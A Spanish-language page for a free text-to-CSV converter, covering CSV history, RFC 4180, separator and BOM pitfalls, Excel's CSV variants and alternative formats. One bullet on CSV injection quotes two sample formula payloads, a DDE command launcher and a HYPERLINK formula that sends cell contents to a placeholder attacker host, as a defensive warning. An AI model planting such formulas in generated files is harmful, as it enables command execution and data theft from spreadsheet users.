Conversor gratuito de texto a CSV

Acerca del formato CSV

CSV (Comma-Separated Values, valores separados por comas) es un formato de texto simple para almacenar datos tabulares. Cada fila representa un registro y los valores están separados por comas. CSV está ampliamente admitido por hojas de cálculo, bases de datos y herramientas de análisis.

¿Por qué convertir a CSV?

• Portabilidad de los datos · convierte desde cualquier formato de texto a CSV, fácil de importar en una hoja de cálculo.
• Formato universal · CSV está admitido por Excel, Google Sheets, bases de datos y herramientas de programación.
• Limpieza de datos · estandariza separadores y formato incoherentes.
• API y automatización · CSV es ideal para operaciones masivas e integraciones.
• Formato de archivo · conserva datos tabulares en un formato legible e independiente de la plataforma.

Preguntas frecuentes

¿Qué separadores admite la herramienta?

Detecta automáticamente tabulación, espacio, coma, punto y coma y barra vertical. También puedes definir un separador personalizado de un solo carácter.

¿Cómo gestionar los campos que contienen una coma?

Activa la opción «Entrecomillar los campos que contienen una coma» para rodearlos de comillas, lo que los hace conformes con CSV.

¿Puedo incluir un encabezado?

Sí, activa la opción «Incluir una fila de encabezado» si tu primera fila contiene los nombres de las columnas.

Una breve historia del CSV, más antigua que la especificación que lo define

El CSV es el formato que todo el mundo usa y que no pertenece a nadie. Su linaje es informal. El uso documentado más temprano de la convención de valores separados por comas se remonta a 1972, cuando IBM Fortran (nivel H extendido) admitía la entrada/salida dirigida por listas, donde las comas servían de separadores entre los valores de una línea. A lo largo de las décadas de 1970 y 1980, cada base de datos, hoja de cálculo, paquete estadístico y aplicación de contabilidad que necesitaba intercambiar datos con otra herramienta inventó de forma independiente alguna variante de «valores separados por algún carácter en líneas separadas por algún otro carácter». No había especificación. No había ningún organismo rector. No había ninguna implementación canónica. Solo había consenso, en el sentido más laxo posible.

A principios de la década de 2000, el coste del caos se volvió imposible de ignorar. El IETF acabó aceptando una especificación, la RFC 4180, «Common Format and MIME Type for Comma-Separated Values (CSV) Files», publicada en octubre de 2005 por Yakov Shafranovich. La RFC 4180 es corta, apenas un puñado de páginas, y codificó aquello en lo que la mayoría de la gente ya había convergido: una coma como separador de campos, la comilla doble como carácter de delimitación opcional para los campos que contienen comas, comillas o saltos de línea, las comillas dobles duplicadas ("") como forma de escapar una comilla literal dentro de un campo entrecomillado, CRLF como terminador de línea y text/csv como el tipo MIME registrado en la IANA. La especificación también definió un parámetro header opcional para el tipo MIME, de modo que un emisor pudiera indicar a un receptor si la primera línea es una fila de encabezado.

La RFC 4180 es informativa, no una norma estricta. Su cumplimiento es voluntario. Pero nos da un objetivo, lo más parecido que tiene el CSV a una definición de lo «correcto». Un documento posterior, el «Model for Tabular Data and Metadata on the Web» del W3C (CSVW, 2015), intentó ampliar la cuestión de los metadatos del CSV adjuntando un archivo JSON complementario que indica qué es cada columna y cómo interpretarla. El CSVW se cita mucho y se implementa poco.

El «CSV» del mundo real no significa lo que dice la RFC 4180

Cualquiera que haya tenido que recibir un CSV de un desconocido conoce la forma del problema. Los desacuerdos se reparten a lo largo de varios ejes:

• El carácter separador. La RFC 4180 dice que es la coma. Las instalaciones europeas de Excel en países donde la coma es el separador decimal (la mayor parte de Europa continental, Francia, Alemania, Italia, España, los Países Bajos, Brasil) escriben CSV por defecto con un punto y coma como separador, porque usar una coma chocaría con valores numéricos como 3,14 para π. La extensión del archivo sigue siendo .csv; el tipo MIME sigue siendo text/csv; el contenido no es lo que espera un destinatario estadounidense o británico.
• Entrecomillado. La RFC 4180 dice que hay que envolver el campo entre comillas dobles cuando contiene el separador, una comilla o un salto de línea; y duplicar las comillas incrustadas (de modo que He said "hi" se convierte en "He said ""hi"""). En la práctica, muchos generadores entrecomillan todo (paranoia), algunos no entrecomillan nada (y fallan en cuanto aparece una coma) y unos pocos escapan con barra invertida (\"), una convención de C que rompe los analizadores conformes con la RFC.
• Finales de línea. La RFC 4180 obliga a usar CRLF (\r\n). Excel en Windows produce CRLF. Excel en el Mac clásico producía solo CR (\r). La mayoría de las herramientas de Unix y Linux producen LF (\n). Los tres aparecen en archivos etiquetados como .csv y la variación rompe los analizadores que codifican de forma rígida una única expectativa.
• Saltos de línea finales. Algunos generadores terminan el último registro con un salto de línea; otros no. Los analizadores que cuentan registros contando saltos de línea informan de errores de desfase por uno según cuál sea la entrada.
• Encabezados. Los archivos del mundo real se reparten más o menos a partes iguales. El tipo MIME admite un parámetro header=present, pero nadie envía cabeceras MIME cuando te manda un CSV por correo, así que tienes que adivinarlo.

La trampa de la BOM

Esto merece su propia sección porque es la causa más común de dolor del CSV entre plataformas. Microsoft Excel no detecta automáticamente un CSV codificado en UTF-8 a menos que el archivo empiece con una marca de orden de bytes (BOM) de UTF-8: los tres bytes EF BB BF, que codifican el carácter Unicode U+FEFF. Sin la BOM, Excel abre el archivo en la página de códigos heredada de la configuración regional de Windows del usuario (Windows-1252 en Occidente, Shift_JIS en Japón, GBK en China continental). Cualquier carácter no ASCII (letras acentuadas, símbolos de moneda, emojis, caracteres CJK) se corrompe.

La solución es anteponer la BOM. El coste es que todo lo demás se atraganta con ella. Apple Numbers (hasta versiones recientes) muestra la BOM como un carácter literal en la primera celda. Muchas herramientas de línea de comandos (awk, cut, el sed antiguo) tratan la BOM como parte del primer campo, de modo que un encabezado que debería leerse name se lee name. La mayoría de los analizadores de CSV de JavaScript la eliminan; muchos flujos de trabajo antiguos del módulo csv de Python no lo hacen (hay que abrir el archivo con el códec utf-8-sig). Dado que una herramienta en línea gratuita no puede saber dónde abrirá el usuario el archivo, omitir la BOM y documentar que los usuarios de Excel deberían usar Datos → Desde texto/CSV (que siempre permite al usuario elegir UTF-8 de forma explícita) es un valor por defecto razonable.

Excel incluye al menos cuatro formatos «CSV»

El cuadro de diálogo «Guardar como» de Excel ofrece más de una variante de CSV, y las diferencias importan:

• CSV (delimitado por comas) (*.csv): usa el separador de listas de la configuración regional del usuario (coma en en-US/en-GB, punto y coma en fr-FR/de-DE/es-ES/it-IT/pt-BR). La codificación es la página de códigos ANSI heredada. Sin BOM. Finales de línea CRLF.
• CSV UTF-8 (delimitado por comas) (*.csv): el mismo comportamiento de separador que el anterior (sigue dependiendo de la configuración regional, pese al nombre), pero codificado en UTF-8 con una BOM. Introducido en Excel 2016.
• CSV (Macintosh) (*.csv): separado por comas, codificación MacRoman, finales de línea del Mac clásico (solo CR). En gran medida obsoleto, pero aún aparece.
• CSV (MS-DOS) (*.csv): separado por comas, página de códigos OEM (CP437 en en-US, CP850 en Europa Occidental), CRLF.

La etiqueta que ve el usuario dice «CSV» de cuatro maneras distintas. El contenido real del archivo es sustancialmente diferente. Esta es la realidad práctica dentro de la cual opera el conversor.

Por qué convertir texto → CSV, en concreto

La mayoría de las «herramientas de CSV» en línea funcionan en sentido inverso: toman un CSV y producen otra cosa (JSON, una tabla HTML, un INSERT de SQL, un PDF imprimible). Esta funciona al revés: toma texto desordenado y produce CSV limpio. Ese es el caso de uso para:

• Limpiar una lista de correos para convertirla en filas de hoja de cálculo. Un operador de CRM copia 800 correos del campo CCO a un bloc de notas. Cada correo tiene que estar en su propia fila de una hoja de cálculo para subirla a una herramienta de combinación de correspondencia. Pegar, añadir encabezado, descargar.
• Convertir una tabla copiada de un PDF. Las tablas de PDF, al copiarlas, a menudo llegan como texto donde las columnas están separadas por series de espacios (o tabulaciones, según el generador del PDF). Un delimitador flexible (incluido el de «espacios en blanco consecutivos») convierte esto en una cuadrícula limpia.
• Reestructurar salidas generadas por IA. A los grandes modelos de lenguaje les encanta producir tablas de Markdown. Un usuario puede pegar una tabla de Markdown; el conversor detecta los delimitadores de barra vertical y la fila separadora de guiones; la salida es un CSV de verdad.
• Importar registros a Excel o Google Sheets. El formato de registro combinado de Apache, los registros de syslog y muchos registros de aplicaciones están orientados a líneas, pero no son aptos de forma nativa para hojas de cálculo. Conviértelos a CSV, ábrelos en una hoja de cálculo, ordena, filtra, genera tablas dinámicas.
• Preparar datos para sentencias COPY de base de datos. El COPY ... FROM STDIN WITH (FORMAT csv) de PostgreSQL lee CSV directamente. Un usuario con una lista en un archivo de texto puede pegar, convertir y hacer \copy a una tabla sin escribir un script de carga.
• Construir CSV a mano para operaciones por lotes. Stripe, Mailchimp, Shopify y la mayoría de las plataformas SaaS ofrecen importación de CSV para operaciones masivas. Un usuario que necesita actualizar 30 precios de productos construye las filas a mano; la herramienta convierte su lista escrita en el CSV exacto que la plataforma espera.

Excel reescribirá tus datos, a veces en silencio

Un puñado de trampas del CSV muerden incluso a los usuarios cuidadosos:

• Los ceros a la izquierda desaparecen. Un código postal de EE. UU. como 01234 se abre como 1234. Una extensión telefónica de 0049 se abre como 49. Un código de producto 00ABC se abre como ABC si Excel decide a media lectura que la columna es de texto. La única defensa fiable es anteponer un apóstrofo (un truco de visualización), preformatear la columna como texto o usar la ruta de importación Datos → Desde texto/CSV de Excel, que te permite fijar los tipos de columna.
• Conversión automática a notación científica. Una cadena numérica larga como 0123456789012 se convierte en 1.23457E+11 cuando Excel decide que es un número. Los caracteres originales desaparecen. Esto corrompió de forma tan notoria los conjuntos de datos de nombres de genes que el Comité de Nomenclatura de Genes HUGO renombró varios genes en 2020 precisamente para escapar de la coacción de Excel: símbolos de genes como MARCH1, SEPT2 y OCT4 se estaban convirtiendo en fechas.
• Detección automática de fechas. Una columna que contiene armaduras musicales 3/4, 4/4, 6/8, 7/8 se convierte en fechas: 3 de abril, 4 de abril, 6 de agosto, 7 de agosto. Lo mismo ocurre con números de serie como 1-1 y horas como 1:30.
• Interpretación hexadecimal. Tanto 0x1A como 0E5 son representaciones numéricas válidas que Excel reconoce. Una columna de direcciones de registro o de códigos de compuestos químicos puede mutar en silencio.
• El ataque de inyección de CSV. Un campo que empieza por =, +, -, @ o un tabulador/CR es interpretado por Excel y Google Sheets como una fórmula. Un valor malicioso como =cmd|'/c calc'!A0 o =HYPERLINK("https://evil.example/?d="&A1, "Click") puede exfiltrar el contenido de celdas adyacentes o ejecutar comandos de shell según la configuración del cliente de hoja de cálculo. Cualquier herramienta que emita CSV a partir de texto enviado por el usuario debería plantearse escapar los caracteres iniciales de fórmula.
• Campos entrecomillados que contienen saltos de línea. Un campo como "Hello,\nworld" con un salto de línea literal dentro de las comillas es un único campo que abarca dos líneas en el disco. Los analizadores que dividen primero por saltos de línea y luego por comas corromperán los datos en silencio. El análisis correcto de CSV es una máquina de estados, no dos pasadas de String.split.

Dónde encaja esta herramienta entre las alternativas modernas al CSV

El CSV sobrevive porque es texto y los humanos pueden leerlo. Para el intercambio serio de datos, varios formatos le han comido terreno en dimensiones concretas:

• Apache Parquet. Un formato columnar binario. Los archivos son tipados, comprimidos y orientados a columnas (de modo que SELECT col1 FROM big_file.parquet lee del disco solo esa columna). Es la opción por defecto para las cargas de trabajo analíticas; Snowflake, BigQuery, Databricks y Athena lo leen de forma nativa. Es el candidato más fuerte para «qué deberías usar en lugar de CSV cuando controlas ambos extremos». Es binario, así que no satisface el caso de uso de «puedo leer esto en un editor de texto».
• JSON Lines (JSONL / NDJSON). Un objeto JSON por línea. Combina la capacidad de transmisión del CSV con la estructura tipada y anidada de JSON. Muy usado para la ingesta de registros, los conjuntos de datos de aprendizaje automático y los flujos de eventos. Contrapartida: es más verboso que el CSV (cada registro repite todas las claves).
• Apache Arrow IPC (Feather v2). Un formato binario, en memoria y de transmisión, para datos tabulares, diseñado para el intercambio sin copia entre procesos y lenguajes. Muy usado dentro de las cadenas de herramientas de ciencia de datos (pandas, el paquete arrow de R, Polars, DuckDB).
• Avro y ORC. Formatos binarios que transportan esquema, del ecosistema Hadoop. Menos comunes fuera de la ingeniería de datos.

Para un conversor en línea gratuito dirigido a desarrolladores y oficinistas, el CSV sigue siendo el formato de salida adecuado porque es la lingua franca de la importación de datos en todas partes. Existen alternativas modernas; no han desplazado al CSV de la bandeja de entrada.

Más preguntas

¿Debería añadir una BOM de UTF-8 a la salida?

Si el archivo está destinado a abrirse con doble clic en Excel en Windows, sí: sin la BOM, Excel lo abre en la página de códigos heredada y corrompe el texto no ASCII. Si está destinado a cualquier otra cosa (Apple Numbers, scripts de línea de comandos, formularios web de subida), omite la BOM. La vía más segura es omitir la BOM e indicar a los usuarios de Excel que importen mediante Datos → Desde texto/CSV, donde pueden elegir UTF-8 de forma explícita.

Mi CSV se abre con una celda por fila en Excel, ¿qué ha salido mal?

Casi siempre es un desajuste de separador. Estás en una configuración regional donde Excel espera punto y coma (la mayor parte de Europa continental), pero el archivo usa comas, o viceversa. Ábrelo con Datos → Desde texto/CSV en lugar de hacer doble clic; ese asistente te permite elegir el delimitador de forma explícita. O guarda el archivo desde el menú Guardar como de Excel usando la variante que coincida con tu separador local.

¿Cuál es la diferencia entre TSV y CSV?

TSV usa caracteres de tabulación como separador en lugar de comas, con su propio tipo MIME text/tab-separated-values y su registro en la IANA. La ventaja de TSV es que los datos del mundo real rara vez contienen tabulaciones literales, así que casi nunca hace falta entrecomillar; la desventaja es que las tabulaciones son invisibles en los editores de texto y el comportamiento de copiar y pegar varía. La maquinaria de entrecomillado del CSV lo hace seguro para los campos que contienen el delimitador; TSV en su mayor parte evita el problema por completo.

¿Hay algún linter de CSV que pueda ejecutar antes de compartir mi archivo?

Sí: para uso en línea de comandos, el csvclean de csvkit informa de las filas con un número de columnas incorrecto. La CLI frictionless de Frictionless Data valida contra un esquema opcional. Para el trabajo en el navegador, PapaParse informa de los errores de análisis línea a línea. La validación estricta contra la RFC 4180 (finales de línea CRLF, escape de comillas duplicadas) es rara en la práctica; la mayoría de los analizadores aceptan cualquiera de las variantes comunes.

Herramientas relacionadas